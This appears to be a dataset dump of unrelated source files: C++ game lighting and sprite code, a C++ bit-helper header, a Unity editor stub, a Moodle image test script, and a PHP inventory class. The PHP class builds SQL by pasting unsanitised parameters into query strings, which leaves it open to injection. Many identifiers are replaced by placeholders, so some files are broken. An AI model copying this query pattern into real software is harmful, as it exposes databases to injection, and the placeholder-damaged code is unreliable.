answer
stringlengths 15
1.25M
|
|---|
#include "SkyXManager.h"
#include "Application.h"
#include "HydraxWater.h"
#include "OgreSubsystem.h"
#include "TerrainManager.h"
#include "<API key>.h"
using namespace Ogre;
using namespace RoR;
SkyXManager::SkyXManager(Ogre::String configFile)
{
InitLight();
//Ogre::<API key>::getSingleton().addResourceLocation("..\\resource\\SkyX\\","FileSystem", "SkyX",true); //Temp
mBasicController = new SkyX::BasicController();
mSkyX = new SkyX::SkyX(gEnv->sceneManager, mBasicController);
mCfgFileManager = new SkyX::CfgFileManager(mSkyX, mBasicController, gEnv->mainCamera);
mCfgFileManager->load(configFile);
mSkyX->create();
RoR::App::GetOgreSubsystem()->GetOgreRoot()->addFrameListener(mSkyX);
RoR::App::GetOgreSubsystem()->GetRenderWindow()->addListener(mSkyX);
}
SkyXManager::~SkyXManager()
{
RoR::App::GetOgreSubsystem()->GetRenderWindow()->removeListener(mSkyX);
mSkyX->remove();
mSkyX = nullptr;
delete mBasicController;
mBasicController = nullptr;
}
Vector3 SkyXManager::<API key>()
{
if (mBasicController != nullptr)
return mBasicController->getSunDirection();
return Ogre::Vector3(0.0,0.0,0.0);
}
Light *SkyXManager::getMainLight()
{
return mLight1;
}
bool SkyXManager::update(float dt)
{
UpdateSkyLight();
mSkyX->update(dt);
return true;
}
bool SkyXManager::UpdateSkyLight()
{
Ogre::Vector3 lightDir = -<API key>();
Ogre::Vector3 sunPos = gEnv->mainCamera->getDerivedPosition() - lightDir*mSkyX->getMeshManager()->getSkydomeRadius(gEnv->mainCamera);
// Calculate current color gradients point
float point = (-lightDir.y + 1.0f) / 2.0f;
if (App::GetSimTerrain ()->getHydraxManager ())
{
App::GetSimTerrain ()->getHydraxManager ()->GetHydrax ()->setWaterColor (mWaterGradient.getColor (point));
App::GetSimTerrain ()->getHydraxManager ()->GetHydrax ()->setSunPosition (sunPos*0.1);
}
mLight0 = gEnv->sceneManager->getLight("Light0");
mLight1 = gEnv->sceneManager->getLight("Light1");
mLight0->setPosition(sunPos*0.02);
mLight1->setDirection(lightDir);
if (App::GetSimTerrain()->getWater())
{
App::GetSimTerrain()->getWater()->WaterSetSunPosition(sunPos*0.1);
}
/* Ogre::Vector3 sunCol = mSunGradient.getColor(point);
mLight0->setSpecularColour(sunCol.x, sunCol.y, sunCol.z);
if (App::GetSimTerrain()->getWater()) App::GetSimTerrain()->getWater()->setFadeColour(Ogre::ColourValue(sunCol.x, sunCol.y, sunCol.z));
*/
Ogre::Vector3 ambientCol = mAmbientGradient.getColor(point);
mLight1->setDiffuseColour(ambientCol.x, ambientCol.y, ambientCol.z);
mLight1->setPosition(100,100,100);
if (mBasicController->getTime().x > 12)
{
if (mBasicController->getTime().x > mBasicController->getTime().z)
mLight0->setVisible(false);
else
mLight0->setVisible(true);
}
else
{
if (mBasicController->getTime ().x < mBasicController->getTime ().z)
mLight0->setVisible (false);
else
mLight0->setVisible (true);
}
if (round (mBasicController->getTime ().x) != mLastHour)
{
<API key>* gm = App::GetSimTerrain ()->getGeometryManager ();
if (gm)
gm->updateLightMap ();
mLastHour = round (mBasicController->getTime ().x);
}
return true;
}
bool SkyXManager::InitLight()
{
// Water
mWaterGradient = SkyX::ColorGradient();
mWaterGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.058209,0.535822,0.779105)*0.4, 1));
mWaterGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.058209,0.535822,0.729105)*0.3, 0.8));
mWaterGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.058209,0.535822,0.679105)*0.25, 0.6));
mWaterGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.058209,0.535822,0.679105)*0.2, 0.5));
mWaterGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.058209,0.535822,0.679105)*0.1, 0.45));
mWaterGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.058209,0.535822,0.679105)*0.025, 0));
// Sun
mSunGradient = SkyX::ColorGradient();
mSunGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.8,0.75,0.55)*1.5, 1.0f));
mSunGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.8,0.75,0.55)*1.4, 0.75f));
mSunGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.8,0.75,0.55)*1.3, 0.5625f));
mSunGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.6,0.5,0.2)*1.5, 0.5f));
mSunGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.5,0.5,0.5)*0.25, 0.45f));
mSunGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.5,0.5,0.5)*0.01, 0.0f));
// Ambient
mAmbientGradient = SkyX::ColorGradient();
mAmbientGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(1,1,1)*1, 1.0f));
mAmbientGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(1,1,1)*1, 0.6f));
mAmbientGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(1,1,1)*0.6, 0.5f));
mAmbientGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(1,1,1)*0.3, 0.45f));
mAmbientGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(1,1,1)*0.1, 0.35f));
mAmbientGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(1,1,1)*0.05, 0.0f));
gEnv->sceneManager->setAmbientLight(ColourValue(0.35,0.35,0.35)); //Not needed because terrn2 has ambientlight settings
// Light
mLight0 = gEnv->sceneManager->createLight("Light0");
mLight0->setDiffuseColour(1, 1, 1);
mLight0->setCastShadows(false);
mLight1 = gEnv->sceneManager->createLight("Light1");
mLight1->setType(Ogre::Light::LT_DIRECTIONAL);
return true;
}
size_t SkyXManager::getMemoryUsage()
{
//TODO
return 0;
}
void SkyXManager::freeResources()
{
//TODO
}
|
/**
\file helpers.hpp
\brief Helper macros, functions and classes
*/
#ifndef __HELPERS_HPP__
#define __HELPERS_HPP__
#include <boost/static_assert.hpp>
#include <boost/cstdint.hpp>
#include <cmath>
namespace GTSVM {
// ARRAYLENGTH macro
#define ARRAYLENGTH( array ) \
( sizeof( array ) / sizeof( array[ 0 ] ) )
// LIKELY and UNLIKELY macros
#if defined( __GNUC__ ) && ( __GNUC__ >= 3 )
#define LIKELY( boolean ) __builtin_expect( ( boolean ), 1 )
#define UNLIKELY( boolean ) __builtin_expect( ( boolean ), 0 )
#else /* defined( __GNUC__ ) && ( __GNUC__ >= 3 ) */
#define LIKELY( boolean ) ( boolean )
#define UNLIKELY( boolean ) ( boolean )
#endif /* defined( __GNUC__ ) && ( __GNUC__ >= 3 ) */
#ifdef __cplusplus
// Power helper template
template< unsigned int t_Number, unsigned int t_Power >
struct Power {
enum { RESULT = t_Number * Power< t_Number, t_Power - 1 >::RESULT };
};
template< unsigned int t_Number >
struct Power< t_Number, 0 > {
enum { RESULT = 1 };
};
// Signum helper functions
template< typename t_Type >
inline t_Type Signum( t_Type const& value ) {
t_Type result = 0;
if ( value < 0 )
result = -1;
else if ( value > 0 )
result = 1;
return result;
}
template< typename t_Type >
inline t_Type Signum( t_Type const& value, t_Type const& scale ) {
t_Type result = 0;
if ( value < 0 )
result = -scale;
else if ( value > 0 )
result = scale;
return result;
}
// Square helper function
template< typename t_Type >
inline t_Type Square( t_Type const& value ) {
return( value * value );
}
// Cube helper function
template< typename t_Type >
inline t_Type Cube( t_Type const& value ) {
return( value * value * value );
}
// CountBits helper functions
inline unsigned char CountBits( boost::uint8_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 1 );
number = ( number & 0x55 ) + ( ( number >> 1 ) & 0x55 );
number = ( number & 0x33 ) + ( ( number >> 2 ) & 0x33 );
number = ( number & 0x0f ) + ( number >> 4 );
return number;
}
inline unsigned short CountBits( boost::uint16_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 2 );
number = ( number & 0x5555 ) + ( ( number >> 1 ) & 0x5555 );
number = ( number & 0x3333 ) + ( ( number >> 2 ) & 0x3333 );
number = ( number & 0x0f0f ) + ( ( number >> 4 ) & 0x0f0f );
number = ( number & 0x00ff ) + ( number >> 8 );
return number;
}
inline unsigned int CountBits( boost::uint32_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 4 );
number = ( number & 0x55555555 ) + ( ( number >> 1 ) & 0x55555555 );
number = ( number & 0x33333333 ) + ( ( number >> 2 ) & 0x33333333 );
number = ( number & 0x0f0f0f0f ) + ( ( number >> 4 ) & 0x0f0f0f0f );
number = ( number & 0x00ff00ff ) + ( ( number >> 8 ) & 0x00ff00ff );
number = ( number & 0x0000ffff ) + ( number >> 16 );
return number;
}
inline unsigned long long CountBits( boost::uint64_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 8 );
number = ( number & <API key> ) + ( ( number >> 1 ) & <API key> );
number = ( number & <API key> ) + ( ( number >> 2 ) & <API key> );
number = ( number & <API key> ) + ( ( number >> 4 ) & <API key> );
number = ( number & <API key> ) + ( ( number >> 8 ) & <API key> );
number = ( number & <API key> ) + ( ( number >> 16 ) & <API key> );
number = ( number & <API key> ) + ( number >> 32 );
return number;
}
// HighBit helper functions
inline unsigned int HighBit( boost::uint8_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 1 );
unsigned int bit = 0;
if ( number & 0xf0 ) {
bit += 4;
number >>= 4;
}
if ( number & 0x0c ) {
bit += 2;
number >>= 2;
}
if ( number & 0x02 )
++bit;
return bit;
}
inline unsigned int HighBit( boost::uint16_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 2 );
unsigned int bit = 0;
if ( number & 0xff00 ) {
bit += 8;
number >>= 8;
}
if ( number & 0x00f0 ) {
bit += 4;
number >>= 4;
}
if ( number & 0x000c ) {
bit += 2;
number >>= 2;
}
if ( number & 0x0002 )
++bit;
return bit;
}
inline unsigned int HighBit( boost::uint32_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 4 );
unsigned int bit = 0;
if ( number & 0xffff0000 ) {
bit += 16;
number >>= 16;
}
if ( number & 0x0000ff00 ) {
bit += 8;
number >>= 8;
}
if ( number & 0x000000f0 ) {
bit += 4;
number >>= 4;
}
if ( number & 0x0000000c ) {
bit += 2;
number >>= 2;
}
if ( number & 0x00000002 )
++bit;
return bit;
}
inline unsigned int HighBit( boost::uint64_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 8 );
unsigned int bit = 0;
if ( number & <API key> ) {
bit += 32;
number >>= 32;
}
if ( number & <API key> ) {
bit += 16;
number >>= 16;
}
if ( number & <API key> ) {
bit += 8;
number >>= 8;
}
if ( number & <API key> ) {
bit += 4;
number >>= 4;
}
if ( number & <API key> ) {
bit += 2;
number >>= 2;
}
if ( number & <API key> )
++bit;
return bit;
}
} // namespace GTSVM
#endif /* __cplusplus */
#endif /* __HELPERS_HPP__ */
|
#include "scene01.h"
Scene01::Scene01() : SuperScene()
{
// Start Timer t
t.start();
text[0]->message("Scene01: Parent/child, Sprite, Spritesheet, blendcolor");
text[4]->message("<SPACE> reset UV animation");
text[5]->message("<Arrow keys> move camera");
// Create an Entity with a custom pivot point.
default_entity = new BasicEntity();
default_entity->addSprite("assets/default.tga", 0.75f, 0.25f, 3, 0); // custom pivot point, filter, wrap (0=repeat, 1=mirror, 2=clamp)
default_entity->position = Point2(SWIDTH/3, SHEIGHT/2);
// To create a Sprite with specific properties, create it first, then add it to an Entity later.
// It will be unique once you added it to an Entity. Except for non-dynamic Texture wrapping/filtering if it's loaded from disk and handled by the ResourceManager.
// You must delete it yourself after you've added it to all the Entities you want.
Sprite* f_spr = new Sprite();
f_spr->setupSprite("assets/grayscale.tga", 0.5f, 0.5f, 1.0f, 1.0f, 1, 2); // filename, pivot.x, pivot.y, uvdim.x, uvdim.y, filter, wrap
f_spr->color = GREEN; // green
child1_entity = new BasicEntity();
child1_entity->position = Point2(100, -100); // position relative to parent (default_entity)
child1_entity->addSprite(f_spr);
delete f_spr;
// Create an Entity that's going to be a Child of default_entity.
// Easiest way to create a Sprite with sensible defaults. @see Sprite::setupSprite()
child2_entity = new BasicEntity();
child2_entity->addSprite("assets/grayscale.tga");
child2_entity->sprite()->color = RED; // red
child2_entity->position = Point2(64, 64); // position relative to parent (child1_entity)
// An example of using a SpriteSheet ("animated texture").
// Remember you can also animate UV's of any Sprite (uvoffset).
animated_entity = new BasicEntity();
animated_entity->addLine("assets/default.line"); // Add a line (default line fits nicely)
animated_entity->addSpriteSheet("assets/spritesheet.tga", 4, 4); // divide Texture in 4x4 slices
animated_entity->position = Point2(SWIDTH/3*2, SHEIGHT/2);
// Create a UI entity
ui_element = new BasicEntity();
//ui_element->position = Point2(SWIDTH-150, 20); // sticks to camera in update()
// filter + wrap inherited from default_entity above (is per texturename. "assets/default.tga" already loaded).
ui_element->addSprite("assets/default.tga", 0.5f, 0.0f); // Default texture. Pivot point top middle. Pivot(0,0) is top left.
ui_element->sprite()->size = Point2(256, 64); // texture is 512x512. Make Mesh half the width, 1 row of squares (512/8).
ui_element->sprite()->uvdim = Point2(0.5f, 0.125f); // UV 1/8 of the height.
ui_element->sprite()->uvoffset = Point2(0.0f, 0.0f); // Show bottom row. UV(0,0) is bottom left.
// create a tree-structure to send to the Renderer
// by adding them to each other and/or the scene ('this', or one of the layers[])
child1_entity->addChild(child2_entity);
default_entity->addChild(child1_entity);
layers[1]->addChild(default_entity);
layers[1]->addChild(animated_entity);
layers[top_layer]->addChild(ui_element);
}
Scene01::~Scene01()
{
// deconstruct and delete the Tree
child1_entity->removeChild(child2_entity);
default_entity->removeChild(child1_entity);
layers[1]->removeChild(default_entity);
layers[1]->removeChild(animated_entity);
layers[top_layer]->removeChild(ui_element);
delete animated_entity;
delete child2_entity;
delete child1_entity;
delete default_entity;
delete ui_element;
}
void Scene01::update(float deltaTime)
{
//
// Make SuperScene do what it needs to do
// - Escape key stops Scene
// - Move Camera
//
SuperScene::update(deltaTime);
SuperScene::moveCamera(deltaTime);
//
// Mouse cursor in screen coordinates
//
int mousex = input()->getMouseX();
int mousey = input()->getMouseY();
std::string cursortxt = "cursor (";
cursortxt.append(std::to_string(mousex));
cursortxt.append(",");
cursortxt.append(std::to_string(mousey));
cursortxt.append(")");
text[9]->message(cursortxt);
//
// Rotate default_entity
//
default_entity->rotation -= 90 * DEG_TO_RAD * deltaTime; // 90 deg. per sec.
if (default_entity->rotation < TWO_PI) { default_entity->rotation += TWO_PI; }
//
// alpha child1_entity + child2_entity
//
static float counter = 0;
child1_entity->sprite()->color.a = abs(sin(counter)*255);
child2_entity->sprite()->color.a = abs(cos(counter)*255);
counter+=deltaTime/2; if (counter > TWO_PI) { counter = 0; }
//
// Animate animated_entity
//
animated_entity->rotation += 22.5 * DEG_TO_RAD * deltaTime;
if (animated_entity->rotation > -TWO_PI) { animated_entity->rotation -= TWO_PI; }
static int f = 0;
if (f > 15) { f = 0; }
animated_entity->sprite()->frame(f);
if (t.seconds() > 0.25f) {
static RGBAColor rgb = RED;
animated_entity->sprite()->color = rgb;
rgb = Color::rotate(rgb, 0.025f);
f++;
t.start();
}
//
// ui_element uvoffset
//
static float xoffset = 0.0f;
xoffset += deltaTime / 2;
if (input()->getKey( GLFW_KEY_SPACE )) {
xoffset = 0.0f;
}
ui_element->sprite()->uvoffset.x = xoffset;
ui_element->position = Point2(camera()->position.x + SWIDTH/2 - 150, camera()->position.y - SHEIGHT/2 + 20);
}
|
using UnityEngine;
using UnityEditor;
using System.Collections;
using System.Collections.Generic;
using Frontiers.World;
[CustomEditor(typeof(BannerEditor))]
public class BannerEditorEditor : Editor
{
protected BannerEditor be;
public void Awake()
{
be = (BannerEditor)target;
}
public override void OnInspectorGUI()
{
EditorStyles.textField.wordWrap = true;
<API key>();
be.DrawEditor();
}
}
|
<?php
// Moodle is free software: you can redistribute it and/or modify
// (at your option) any later version.
// Moodle is distributed in the hope that it will be useful,
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// Instructions.
// 1. Ensure this file and the image '515-797no09sa.jpg' are in the Moodle installation folder '/course/format/grid/test'.
// 2. Ensure the value of courseid is for a valid course in the URL i.e. image_test.php?courseid=2.
// 3.1 In a browser, log into Moodle so that you have a valid MoodleSession cookie.
// 3.2 In another tab of the same browser navigate to 'your moodle installation'/course/format/grid/test/image_test.php.
// Success: Image shows.
// Failure: Image does not show.
require_once('../../../../config.php');
global $CFG, $DB;
require_once($CFG->libdir . '/filelib.php');
require_once($CFG->libdir . '/weblib.php');
require_once($CFG->libdir . '/outputcomponents.php');
require_once($CFG->dirroot . '/repository/lib.php');
require_once($CFG->dirroot . '/course/format/lib.php'); // For format_base.
require_once($CFG->dirroot . '/course/lib.php'); // For course functions.
require_once($CFG->dirroot . '/course/format/grid/lib.php'); // For format_grid.
$courseid = required_param('courseid', PARAM_INT);
/* Script settings */
define('<API key>', 210);
define('<API key>', 140);
$context = context_course::instance($courseid);
$contextid = $context->id;
// Find an section id to use:....
$sections = $DB->get_records('course_sections', array('course' => $courseid));
// Use the first.
$sectionid = reset($sections)->id;
// Adapted code from test_convert_image()' of '/lib/filestorage/tests/file_storage_test.php'.
$imagefilename = '515-797no09sa.jpg'; // Image taken by G J Barnard 2002 - Only use for these tests.
$filepath = $CFG->dirroot . '/course/format/grid/test/' . $imagefilename;
$filerecord = array(
'contextid' => $contextid,
'component' => 'course',
'filearea' => 'section',
'itemid' => $sectionid,
'filepath' => '/gridtest/',
'filename' => $imagefilename
);
$fs = get_file_storage();
$convertedfilename = 'converted_' . $imagefilename;
// Clean area from previous test run...
if ($file = $fs->get_file($contextid, 'course', 'section', $sectionid, $filerecord['filepath'], $imagefilename)) {
$file->delete();
}
if ($file = $fs->get_file($contextid, 'course', 'section', $sectionid, $filerecord['filepath'], $convertedfilename)) {
$file->delete();
}
$original = $fs-><API key>($filerecord, $filepath);
$filerecord['filename'] = $convertedfilename;
$converted = $fs->convert_image($filerecord, $original, <API key>, <API key>, true, 75);
require_once('test_header.php');
$o = html_writer::tag('h1', 'Upload and convert image....');
$o .= html_writer::start_tag('div');
$o .= html_writer::tag('p', 'Original image:');
$src = $CFG->wwwroot . '/course/format/grid/test/' . $imagefilename;
$o .= html_writer::empty_tag('img', array('src' => $src, 'alt' => 'Grid Format Image Test Original'));
$o .= html_writer::end_tag('div');
$o .= html_writer::start_tag('div');
$o .= html_writer::tag('p', 'Converted image:');
$src = moodle_url::make_pluginfile_url($contextid, 'course', 'section', $sectionid, '/gridtest/', $convertedfilename);
$o .= html_writer::empty_tag('img', array('src' => $src, 'alt' => 'Grid Format Image Test Converted'));
$o .= html_writer::end_tag('div');
$o .= html_writer::tag('p', 'Converted object:');
$o .= print_r($converted, true);
$o .= html_writer::start_tag('div');
$o .= html_writer::empty_tag('br');
$o .= html_writer::tag('p', 'Course Id: ' . $courseid);
$o .= html_writer::tag('p', 'Context Id: ' . $contextid);
$o .= html_writer::tag('p', 'Item / Section Id: ' . $sectionid);
$o .= html_writer::tag('p', 'Plugin URL: ' . $src);
$o .= html_writer::empty_tag('br');
$o .= html_writer::end_tag('div');
echo $o;
$o = html_writer::tag('h1', 'Convert image and set as section 2 image, repeat to check delete method....');
// Use the second.
$sectionid = next($sections)->id;
$courseformat = course_get_format($courseid);
// Clean up from previous test....
$courseformat->delete_image($sectionid, $contextid);
// This test....
$storedfilerecord = $courseformat-><API key>($contextid, $sectionid, $imagefilename);
$sectionimage = $courseformat->get_image($courseid, $sectionid);
$courseformat-><API key>($original, $storedfilerecord, $sectionimage);
$o .= html_writer::start_tag('div');
$o .= html_writer::tag('p', 'Original image resized to maximum width:');
$src = moodle_url::make_pluginfile_url($contextid, 'course', 'section', $sectionid, '/', $imagefilename);
$o .= html_writer::empty_tag('img', array('src' => $src, 'alt' => 'Grid Format Image Test Original Resized'));
$o .= html_writer::end_tag('div');
$o .= html_writer::start_tag('div');
$o .= html_writer::tag('p', 'Converted image to current course settings:');
$sectionimage = $courseformat->get_image($courseid, $sectionid);
$src = moodle_url::make_pluginfile_url($contextid, 'course', 'section', $sectionid, $courseformat->get_image_path(), $sectionimage->displayedimageindex . '_' . $sectionimage->image);
$o .= html_writer::empty_tag('img', array('src' => $src, 'alt' => 'Grid Format Image Test Converted to current course settings'));
$o .= html_writer::end_tag('div');
$currentsettings = $courseformat->get_settings();
$o .= html_writer::start_tag('div');
$o .= html_writer::tag('p', 'Current settings: ' . print_r($currentsettings, true));
$ratios = format_grid::<API key>();
$resizemethods = array(
1 => new lang_string('scale', 'format_grid'), // Scale.
2 => new lang_string('crop', 'format_grid') // Crop.
);
$o .= html_writer::tag('p', 'Width: ' . $currentsettings['imagecontainerwidth']);
$o .= html_writer::tag('p', 'Ratio: ' . $ratios[$currentsettings['imagecontainerratio']]);
$o .= html_writer::tag('p', 'Resize method: ' . $resizemethods[$currentsettings['imageresizemethod']]);
$o .= html_writer::end_tag('div');
echo $o;
require_once('test_footer.php');
// Remove original...
$original->delete();
unset($original);
|
<?php
class OperationData {
public static $tablename = "operation";
public function OperationData(){
$this->name = "";
$this->product_id = "";
$this->q = "";
$this->cut_id = "";
$this->operation_type_id = "";
$this->is_oficial = "0";
$this->created_at = "NOW()";
}
public function add(){
$sql = "insert into ".self::$tablename." (product_id,q,operation_type_id,is_oficial,sell_id,created_at) ";
$sql .= "value (\"$this->product_id\",\"$this->q\",$this->operation_type_id,\"$this->is_oficial\",$this->sell_id,$this->created_at)";
return Executor::doit($sql);
}
public function add_q(){
$sql = "update ".self::$tablename." set q=$this->q where id=$this->id";
Executor::doit($sql);
}
public static function delById($id){
$sql = "delete from ".self::$tablename." where id=$id";
Executor::doit($sql);
}
public function del(){
$sql = "delete from ".self::$tablename." where id=$this->id";
Executor::doit($sql);
}
// partiendo de que ya tenemos creado un objecto OperationData previamente utilizamos el contexto
public function update(){
$sql = "update ".self::$tablename." set product_id=\"$this->product_id\",q=\"$this->q\",is_oficial=\"$this->is_oficial\" where id=$this->id";
Executor::doit($sql);
}
public static function getById($id){
$sql = "select * from ".self::$tablename." where id=$id";
$query = Executor::doit($sql);
$found = null;
$data = new OperationData();
while($r = $query[0]->fetch_array()){
$data->id = $r['id'];
$data->product_id = $r['product_id'];
$data->q = $r['q'];
$data->is_oficial = $r['is_oficial'];
$data->operation_type_id = $r['operation_type_id'];
$data->sell_id = $r['sell_id'];
$data->created_at = $r['created_at'];
$found = $data;
break;
}
return $found;
}
public static function getAll(){
$sql = "select * from ".self::$tablename." order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function getAllDates(){
$sql = "select *,date(created_at) as d from ".self::$tablename." group by date(created_at) order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$array[$cnt]->d = $r['d'];
$cnt++;
}
return $array;
}
public static function getAllByDate($start){
$sql = "select *,price_out as price,product.name as name,category.name as cname from ".self::$tablename." inner join product on (operation.product_id=product.id) inner join category on (product.category_id=category.id) inner join sell on (sell.id=operation.sell_id) where date(operation.created_at) = \"$start\" and is_applied=1 order by operation.created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->price = $r['price'];
$array[$cnt]->name = $r['name'];
$array[$cnt]->cname = $r['cname'];
$array[$cnt]->unit = $r['unit'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function <API key>($start,$cat_id){
$sql = "select *,price_out as price,product.name as name,category.name as cname,product.unit as punit from ".self::$tablename." inner join sell on (sell.id=operation.sell_id) inner join product on (operation.product_id=product.id) inner join category on (product.category_id=category.id) where date(operation.created_at) = \"$start\" and product.category_id=$cat_id and sell.is_applied=1 order by operation.created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->price = $r['price'];
$array[$cnt]->name = $r['name'];
$array[$cnt]->cname = $r['cname'];
$array[$cnt]->unit = $r['punit'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function <API key>($start,$end){
$sql = "select * from ".self::$tablename." where date(created_at) > \"$start\" and date(created_at) <= \"$end\" order by created_at desc";
if($start == $end){
$sql = "select * from ".self::$tablename." where date(created_at) = \"$start\" order by created_at desc";
}
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function <API key>($product, $start,$end){
$sql = "select * from ".self::$tablename." where date(created_at) > \"$start\" and date(created_at) <= \"$end\" and product_id=$product order by created_at desc";
if($start == $end){
$sql = "select * from ".self::$tablename." where date(created_at) = \"$start\" and product_id=$product order by created_at desc";
}
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public function getProduct(){
return ProductData::getById($this->product_id);
}
public function getOperationType(){
return OperationTypeData::getById($this->operation_type_id);
}
public static function getQ($product_id,$cut_id){
$q=0;
$operations = self::<API key>($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
// print_r($data);
return $q;
}
public static function getQYesF($product_id,$cut_id){
$q=0;
$operations = self::<API key>($product_id,$cut_id);
$input_id = OperationTypeData::getByName("entrada")->id;
$output_id = OperationTypeData::getByName("salida")->id;
foreach($operations as $operation){
if($operation->is_oficial){
if($operation->operation_type_id==$input_id){ $q+=$operation->q; }
else if($operation->operation_type_id==$output_id){ $q+=(-$operation->q); }
}
}
// print_r($data);
return $q;
}
public static function getQNoF($product_id,$cut_id){
$q = self::getQ($product_id,$cut_id);
$f = self::getQYesF($product_id,$cut_id);
return $q-$f;
}
public static function <API key>($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function <API key>($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
public static function <API key>($product_id,$cut_id){
$sql = "select * from ".self::$tablename." where product_id=$product_id and cut_id=$cut_id and is_oficial=0 order by created_at desc";
$query = Executor::doit($sql);
$array = array();
$cnt = 0;
while($r = $query[0]->fetch_array()){
$array[$cnt] = new OperationData();
$array[$cnt]->id = $r['id'];
$array[$cnt]->product_id = $r['product_id'];
$array[$cnt]->q = $r['q'];
$array[$cnt]->is_oficial = $r['is_oficial'];
$array[$cnt]->cut_id = $r['cut_id'];
$array[$cnt]->operation_type_id = $r['operation_type_id'];
$array[$cnt]->created_at = $r['created_at'];
$cnt++;
}
return $array;
}
